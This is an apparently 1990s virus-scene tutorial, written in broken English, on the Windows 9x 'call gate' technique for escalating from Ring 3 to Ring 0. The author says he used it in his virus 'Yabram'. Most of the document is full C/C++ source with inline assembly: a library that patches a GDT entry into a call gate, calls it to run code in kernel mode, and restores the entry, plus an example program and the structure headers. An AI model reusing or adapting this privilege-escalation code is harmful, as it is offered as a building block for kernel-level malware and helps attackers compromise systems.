
                           Pass to Ring 0 with C/C++


by SoPinKy...  Made in Argentina

It is a techniques called "Call Gate technique" to pass to Ring 0.
I use this technique in my virus "Yabram".
I code this techniques in MASM and C/C++.

This technique consist in install a GDT Call Gate to pass to Ring 0.

Resume of Callgate technique:
        1) Search the GDT to find the descriptors of the Ring 0 code.
        2) Save the first valid entry of the GDT.
        3) Replase the first valid entry of the GDT with a Callgate.
        4) Call the Callgate.
        5) In my Ring 0 code i restore the GDT entry.
        6) Setting the DS, ES, GS, SS register.
        7) Exec the Ring 0 code ;)
        8) RetF... hehehe i back to Ring 3.
        9) Restore the DS, ES, GS, SS.


This techniques is very secure.... ever works correctly.

i coded the DirectHackers.h library... with these library i can pass a proc to
Ring 0.

The most usefull procs are:

-InitDirectH():
        This proc, search the GDT to find the descriptors of the Ring 0 code
        and save this descriptors. 
        Save the first valid entry of the GDT.

-CallRing0(Ring0Proc);
        Ring0Proc is a pointer of the proc to Call.
        This proc, Replase the first valid entry of the GDT with a Callgate.
        Call the Callgate.
        When the Ring0Proc return, restore the DS, ES, GS, SS.

-InitRing0();
         This proc, restore the GDT entry.
         Setting the DS, ES, GS, SS register for Ring 0.


-RetCallback
        is a macro for return a Ring 3.


Note:
        if you need install a program linking with C/C++ compiler as a VXD..
        you  must by Looked the memory used by all proc in Ring 0.



Thanks:
        Vecna        _ Hey You are a genius... and Argentinian too...
        GriYo        _ You are a genius too ;)
        MrSandman    _ Tnx very much. ;)
        int13h       _ You are crazy man...... Aguante SudAmeRiCa CaRajo!!!   
        darkman      _ Tnx for correct my bad english ;)
        Ypsilon      _ You are fany  :)
        Somnium      _ By to be woman... and Argentinian too...
        ViruBust     _ AVPMan ... hehehe... you are great ;)
        WinterMute   _ Whats happens with EMMA?? hahaha
        Reptille-    _ You are my friends... my youngest friend :)
        Superx       _ A Super Man... A Super Coder... A Super X hehehe
        JQwerty      _ You are my inspiration.......



Example:

Main.CPP
------------------------------------CUT--------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"


//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
     {
          int 20h      //get current vm
         _emit 0x01    //Function ID
	     _emit 0x00
         _emit VMM_ID  //VXD ID
	     _emit 0x00 
         //in ebx i have the handle of virtual machine
     }

RetCallback;
};

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
				   PSTR lpCmdLine,int nCmdShow)
    {
	MSG msg ;
	DWORD a;
	int x;
        __asm pusha
        InitDirectH();
        CallRing0((unsigned int)Ring0Proc);
		__asm popa
        return 0;
    }

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h
------------------------------------CUT--------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h

#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0;     //State of ring 0 register
                                               
Comp *Callb,Callbcpy;         //a callbacks hahaha

//to return of ring 0
#define RetCallback  \
    _asm sti	  \
    _asm pop edi  \
    _asm pop esi  \
    _asm pop ebx  \
    _asm leave    \
    _asm retf;

InitDirectH()
{
FPWORD gdt;                   //Base of GDT
Descriptor *gdtdesc;
word a;
        __asm  sgdt  gdt;     //get the addres of GDT
	gdtdesc=(Descriptor *)gdt.base;

        __asm   //Save the ring 3 Segments selectors
	{
		mov cs3,cs
		mov ds3,ds
		mov es3,es
		mov sp3,sp
		mov fs3,fs
		mov gs3,gs
		mov esp3,esp
	}

//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
   gdtdesc->base_l==0x0000  &&
   gdtdesc->base_m==0x00    &&
   gdtdesc->access==0x9b    && 
   gdtdesc->limit_h== 0xcf  &&
   gdtdesc->base_h==0x00)break; 
   

}
cs0=a<<3;

//Serch for the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
	if(gdtdesc->limit_l==0xffff &&
	gdtdesc->base_l==0x0000  &&
	gdtdesc->base_m==0x00    &&
	gdtdesc->access==0x93    && 
	gdtdesc->limit_h== 0xcf  &&
	gdtdesc->base_h==0x00)break; 
	}
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}

//Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt; 
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;  
WORD h,l;      
salto.offset32=0; 
salto.seg=0x08;
	 	   
	__asm  sgdt  gdt;
         gdtdesc=(Descriptor *)(gdt.base+8); 
         Callb=(Comp *)(gdt.base+8);   
	 
         Callbcpy.sel=Callb->sel; //make a copy
	 Callbcpy.attrib=Callb->attrib;
	 Callbcpy.offs_l=Callb->offs_l;
	 Callbcpy.offs_h=Callb->offs_h;
	 
	 Callb->sel=cs0;
	 Callb->attrib=0xec00;;

 __asm
	 {
	 mov eax,PUNTERO
	 mov l,ax
	 shr eax,16
	 mov h,ax
     }
 	 Callb->offs_l=l;
	 Callb->offs_h=h;
 __asm {
           push ds
		   push es
		   push gs
		   push fs
       }//save the ring 3 segment selectors
	 

     __asm //Call the CALL GATE!!!!
	 { 
     cli
	 call FWORD PTR salto
	 }
         //restore de segment selectors in ring 3
	 __asm 
	 {
	  cli
	  pop fs
	  pop gs
	  pop es
	  pop ds
     sti
	 }
return;
}


InitRing0()
{
        FPWORD gdt; 
	Comp *Callb;
	 	   
	__asm  sgdt  gdt;
	__asm  cli
         Callb=(Comp *)(gdt.base+8);   
         Callb->sel=Callbcpy.sel;
	 Callb->attrib=Callbcpy.attrib;
	 Callb->offs_l=Callbcpy.offs_l;
	 Callb->offs_h=Callbcpy.offs_h;
	 __asm 
	 {
 	 mov ds,ds0
	 mov es,es0
	 mov fs,fs0
	 mov gs,gs0
	 sti
	 
	 //int 3h
	 int 20h 
         _emit 0x08  //get the thead handle
	 _emit 0x01
	 _emit VMM_ID  
	 _emit 0x00
	  mov TR,edi
	 int 20h 
	 _emit 0x01   //get current vm
	 _emit 0x00
	 _emit VMM_ID  
	 _emit 0x00 
	  mov  VM,ebx //current VM handle, osea de sistema	 
	 sti
	 } 
}
#endif

------------------------------------CUT--------------------------------------
VMMStruct.h
------------------------------------CUT--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h

//definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version   0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID  0x0002A
#define SHELL_ID   0x00017
#define word  unsigned short 
#define dword unsigned int 
#define DWORD  unsigned int 
#define WORD  unsigned short 
#define byte  unsigned char
#define BYTE  unsigned char

//Structs
#pragma pack(1)
typedef struct
{
    word  limite;
	dword base;
}FPWORD;

typedef struct
{
	dword offset32;
	word  seg;
}FARJMP;

//struct of descriptors
typedef struct
{
WORD limit_l; 
WORD base_l; 
BYTE base_m; 
BYTE access; 
BYTE limit_h; 
BYTE base_h; 
}Descriptor;

typedef struct
{
WORD desp_l;
WORD sel;   
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;

//compuertas del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;

//Description Block
typedef struct  {
    ULONG DDB_Next;         /* VMM RESERVED FIELD */
    USHORT DDB_SDK_Version; /* INIT <DDK_VERSION> RESERVED FIELD */
    USHORT DDB_Req_Device_Number;/* INIT <UNDEFINED_DEVICE_ID> */
    UCHAR DDB_Dev_Major_Version; /* INIT <0> Major device number */
    UCHAR DDB_Dev_Minor_Version; /* INIT <0> Minor device number */
    USHORT DDB_Flags;      /* INIT <0> for init calls complete */
    UCHAR DDB_Name[8];     /* AINIT <"        "> Device name */
    ULONG DDB_Init_Order;  /* INIT <UNDEFINED_INIT_ORDER> */
    ULONG DDB_Control_Proc;/* Offset of control procedure */
    ULONG DDB_V86_API_Proc;/* INIT <0> Offset of API procedure */
    ULONG DDB_PM_API_Proc; /* INIT <0> Offset of API procedure */
    ULONG DDB_V86_API_CSIP;/* INIT <0> CS:IP of API entry point */
    ULONG DDB_PM_API_CSIP; /* INIT <0> CS:IP of API entry point */
    ULONG DDB_Reference_Data;   /* Reference data from real mode */
    ULONG DDB_Service_Table_Ptr;/* INIT <0> Pointer to service table */
    ULONG DDB_Service_Table_Size; /* INIT <0> Number of services */
    ULONG DDB_Win32_Service_Table;/* INIT <0> Pointer to Win32 services */
    ULONG DDB_Prev;     /* INIT <'Prev'> Ptr to prev 4.0 DDB */
    ULONG DDB_Size;		/* INIT <SIZE(VxD_Desc_Block)> Reserved */
    ULONG DDB_Reserved1;/* INIT <'Rsv1'> Reserved */
    ULONG DDB_Reserved2;/* INIT <'Rsv2'> Reserved */
    ULONG DDB_Reserved3;/* INIT <'Rsv3'> Reserved */
}Desc_Block;

 
//Control block
typedef struct   {
    ULONG Client_EDI;           /* Client's EDI */
    ULONG Client_ESI;           /* Client's ESI */
    ULONG Client_EBP;           /* Client's EBP */
    ULONG Client_res0;          /* ESP at pushall */
    ULONG Client_EBX;           /* Client's EBX */
    ULONG Client_EDX;           /* Client's EDX */
    ULONG Client_ECX;           /* Client's ECX */
    ULONG Client_EAX;           /* Client's EAX */
    ULONG Client_Error;         /* Dword error code */
    ULONG Client_EIP;           /* EIP */
    USHORT Client_CS;           /* CS */
    USHORT Client_res1;         /*   (padding) */
    ULONG Client_EFlags;        /* EFLAGS */
    ULONG Client_ESP;           /* ESP */
    USHORT Client_SS;           /* SS */
    USHORT Client_res2;         /*   (padding) */
    USHORT Client_ES;           /* ES */
    USHORT Client_res3;         /*   (padding) */
    USHORT Client_DS;           /* DS */
    USHORT Client_res4;         /*   (padding) */
    USHORT Client_FS;           /* FS */
    USHORT Client_res5;         /*   (padding) */
    USHORT Client_GS;           /* GS */
    USHORT Client_res6;         /*   (padding) */
    ULONG Client_Alt_EIP;
    USHORT Client_Alt_CS;
    USHORT Client_res7;
    ULONG Client_Alt_EFlags;
    ULONG Client_Alt_ESP;
    USHORT Client_Alt_SS;
    USHORT Client_res8;
    USHORT Client_Alt_ES;
    USHORT Client_res9;
    USHORT Client_Alt_DS;
    USHORT Client_res10;
    USHORT Client_Alt_FS;
    USHORT Client_res11;
    USHORT Client_Alt_GS;
    USHORT Client_res12;
}Client_Reg_Struc;

typedef struct Thread_Control_Block {
    ULONG   TCB_Flags;          /* Thread status flags */
    ULONG   TCB_Reserved1;      /* Used internally by VMM */
    ULONG   TCB_Reserved2;      /* Used internally by VMM */
    ULONG   TCB_Signature;
    ULONG   TCB_ClientPtr;      /* Client registers of thread */
    ULONG   TCB_VMHandle;       /* VM that thread is part of */
    USHORT  TCB_ThreadId;       /* Unique Thread ID */
    USHORT  TCB_PMLockOrigSS;       /* Original SS:ESP before lock stack */
    ULONG   TCB_PMLockOrigESP;
    ULONG   TCB_PMLockOrigEIP;      /* Original CS:EIP before lock stack */
    ULONG   TCB_PMLockStackCount;
    USHORT  TCB_PMLockOrigCS;
    USHORT  TCB_PMPSPSelector;
    ULONG   TCB_ThreadType;     /* dword passed to VMMCreateThread */
    USHORT  TCB_pad1;           /* reusable; for dword align */
    UCHAR   TCB_pad2;           /* reusable; for dword align */
    UCHAR   TCB_extErrLocus;    /* extended error Locus */
    USHORT  TCB_extErr;         /* extended error Code */
    UCHAR   TCB_extErrAction;   /*      "   "   Action */
    UCHAR   TCB_extErrClass;    /*      "   "   Class */
    ULONG   TCB_extErrPtr;      /*      "   pointer */
}Thread_Control_Block;

typedef struct
{
DWORD CB_VM_Status      ; 
DWORD CB_High_Linear    ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID           ;
DWORD CB_Signature      ;
}Control_Block;
#endif
------------------------------------CUT--------------------------------------

                                             by SoPinKy...  Made in Argentina                                             by SoPinKy...  Made in Argentina
